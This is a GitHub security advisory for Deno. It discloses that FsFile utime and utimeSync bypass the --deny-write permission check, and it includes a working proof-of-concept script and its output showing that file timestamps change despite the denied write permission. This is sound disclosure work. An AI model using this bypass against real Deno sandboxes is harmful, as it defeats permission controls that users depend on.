GHSA-vg2r-rmgp-cgqj
Deno's --deny-write check does not prevent permission bypass
Details
### Summary
`Deno.FsFile.prototype.utime` and `Deno.FsFile.prototype.utimeSync` are not limited by the permission model check `--deny-write=./`.
It's possible to change to change the access (`atime`) and modification (`mtime`) times on the file stream resource even when the file is opened with `read` only permission (and `write`: `false`) and file write operations are not allowed (the script is executed with `--deny-write=./`).
Similar APIs like `Deno.utime` and `Deno.utimeSync` require `allow-write` permission, however, when a file is opened, even with read only flags and deny-write permission, it's still possible to change the access (`atime`) and modification (`mtime`) times, and thus bypass the permission model.
### PoC
Setup: ``` deno --version deno 2.4.2 (stable, release, x86_64-unknown-linux-gnu) v8 13.7.152.14-rusty typescript 5.8.3
touch test.txt ```
```js // touch test.txt // https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.utime // deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 1 async function poc1(){ using file = await Deno.open("./test.txt", { read: true, write: false});
const fileInfoBefore = await file.stat(); await file.utime(new Date("2000-01-01"), new Date("2000-01-01")); const fileInfoAfter = await file.stat(); console.log(`BEFORE (utime)`) console.log(new Date(fileInfoBefore.mtime).getFullYear()) console.log(new Date(fileInfoBefore.atime).getFullYear()) console.log(`AFTER (utime)`) console.log(new Date(fileInfoAfter.mtime).getFullYear()) console.log(new Date(fileInfoAfter.atime).getFullYear()) }
// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.utimeSync // deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 2 function poc2(){ using file = Deno.openSync("./test.txt", { read: true, write: false});
const fileInfoBefore = file.statSync(); file.utimeSync(new Date("2001-01-01"), new Date("2001-01-01")); const fileInfoAfter = file.statSync(); console.log(`BEFORE (utimeSync)`) console.log(new Date(fileInfoBefore.mtime).getFullYear()) console.log(new Date(fileInfoBefore.atime).getFullYear()) console.log(`AFTER (utimeSync)`) console.log(new Date(fileInfoAfter.mtime).getFullYear()) console.log(new Date(fileInfoAfter.atime).getFullYear()) }
// https://docs.deno.com/api/deno/~/Deno.utime // deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 3 async function poc3(){ // not executed await Deno.utime("./test.txt", new Date("2000-01-01"), new Date("2000-01-01")); }
// https://docs.deno.com/api/deno/~/Deno.utimeSync // deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 4 function poc4(){ // not executed Deno.utimeSync("./test.txt", new Date("2000-01-01"), new Date("2000-01-01")); }
async function main(){ const poc = Deno.args[0] || 1;
const status = await Deno.permissions.query({ name: "write", path: "./" }); console.log(status); switch (poc) { case "1": poc1() break; case "2": poc2() break; case "3": poc3() break; case "4": poc4() break; default: poc1() } }
main() ```
Output: - `deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 1` ``` PermissionStatus { state: "denied", onchange: null } BEFORE (utime) 2025 2025 AFTER (utime) 2000 2000 ```
- `deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 2` ``` PermissionStatus { state: "denied", onchange: null } BEFORE (utimeSync) 2000 2000 AFTER (utimeSync) 2001 2001 ```
- `deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 3` ``` PermissionStatus { state: "denied", onchange: null } error: Uncaught (in promise) NotCapable: Requires write access to "./test.txt", run again with the --allow-write flag await Deno.utime("./test.txt", new Date("2000-01-01"), new Date("2000-01-01")); ^ ... ```
- `deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 4` ``` PermissionStatus { state: "denied", onchange: null } error: Uncaught (in promise) NotCapable: Requires write access to "./test.txt", run again with the --allow-write flag Deno.utimeSync("./test.txt", new Date("2000-01-01"), new Date("2000-01-01")); ^ ... ```
### Impact
Permission model bypass
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Affected packages
References
- https://github.com/denoland/deno/security/advisories/GHSA-vg2r-rmgp-cgqj[WEB]
- https://nvd.nist.gov/vuln/detail/CVE-2025-61785[ADVISORY]
- https://github.com/denoland/deno/pull/30872[WEB]
- https://github.com/denoland/deno/commit/992e998dfe436cdc9325232759af8be92f11739b[WEB]
- https://github.com/denoland/deno[PACKAGE]
- https://github.com/denoland/deno/releases/tag/v2.2.15[WEB]
- https://github.com/denoland/deno/releases/tag/v2.5.3[WEB]